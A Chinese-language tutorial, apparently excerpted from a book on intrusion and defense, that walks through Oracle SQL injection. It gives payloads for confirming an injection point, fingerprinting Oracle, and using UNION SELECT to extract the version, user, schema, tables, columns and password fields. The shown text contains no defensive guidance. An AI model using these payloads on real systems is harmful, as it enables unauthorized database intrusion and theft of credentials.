来源:自学PHP网 时间:2015-04-17 15:08 作者: 阅读:次
[导读] 摘自:大中型网络入侵要案直击与防御电子工业出版社授权红黑联盟www.2cto.com发布Oracle注入点信息基本检测对于Oracle注入点的检测比较特殊,不像其它注入点一样,需要经过多个步骤检...
摘自:<大中型网络入侵要案直击与防御>电子工业出版社授权红黑联盟www.2cto.com发布 对于Oracle注入点的检测比较特殊,不像其它注入点一样,需要经过多个步骤检测确认注入点所使用的数据库类型是否为Oracle。 Oracle注入点判断 首先,需要判断是否为Oracle注入点,可提交如下几步查询: and 1=1 and 1=2 返回不一样的页面,则说明存在注入漏洞,继续在注入点处提交如下查询字符: /* "/*"是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符: -- "--"是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符: ; ";"是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。再提交如下查询: and exists(select * from dual) 或 and (select count (*) from user_tables)>0-- dual和user_tables是Oracle中的系统表,如果返回正常页面,则可以确定是Oracle注入点。 注入点信息判断 确定注入点类型后,与前面的MySQL注入一样,先用Order by x猜出字段数目,再用联合查询union select方法得获取想要的信息。 最主要的信息是数据库版本,可利用(select banner from sys.v_$version where rownum=1)获取版本信息,例如: and 1=2 union select 1,2,3,(select banner from sys.v_$version where rownum=1),4,5…… from dual 获取当前数据库连接用户名,可执行如下查询: and 1=2 union select 1,2,3,(select SYS_CONTEXT (USERENV, CURRENT_USER) from dual),4,5…… from dual 执行如下查询: and 1=2 union select 1,2,3,(select member from v$logfile where rownum=1),4,5…… from dual 通过查询日志文件绝对路径,可以判断操作系统平台。 另外,要获取服务器sid,可执行如下查询: and 1=2 union select 1,2,3,(select instance_name from v$instance),4,5…… from dual 利用Oracle系统表爆数据库内容 与MySQL一样,可利用Oracle系统表直接爆出数据库中的所有内容。Oracle中存在dual系统表,其中存储了数据库名、表名、字段名等信息,直接针对此表进行注入攻击可获得整个数据库的结构,从而方便查询到管理员帐号数据信息。 爆出库名 在注入点处提交: and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…… from dual 可查询爆出中第一个库名,然后继续查询提交: and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<>第一个库名),4,5…… from dual 用同样的方法,可以查询出当前用户数据库中的所有数据库库名。 在注入点处提交: and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5…… from dual 可查询数据库中第一个表,然后继续查询提交: and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>第一个表名),4,5…… from dual 注意,表名要用大写或大写的16进制代码。用同样的方法,可以查询出当前用户数据库中的所有表名。 另外,也可以采用与前面MSSQL注入相似的方法,直接包含pass的表名,提交查询如下: and (select column_name from user_tab_columns where column_name like%25pass%25)>0 如果返回页面正常的话,则说明当前数据库中有包含pass的表名。再提交: and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like%25pass%25),4,5…… from dual 即可得到包含pass的表名。 获取字段名 在注入点处提交: and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name=表名 and rownum=1),4,5…… from dual 可获取指定中第一个字段。然后继续查询提交: and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name=表名 and column_name<>第1个字段名 and rownum=1),4,5…… from dual 即可获取指定表中第二个字段。用同样的方法,可以查询出指定表中的所有字段名。 获取字段内容 在注入点处提交: and 1=2 union select 1,2,3,字段名,4,5…… from 表名 即可查询出目标表里面的相应字段内容,以此类推,可以获取表中的所有字段内容。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com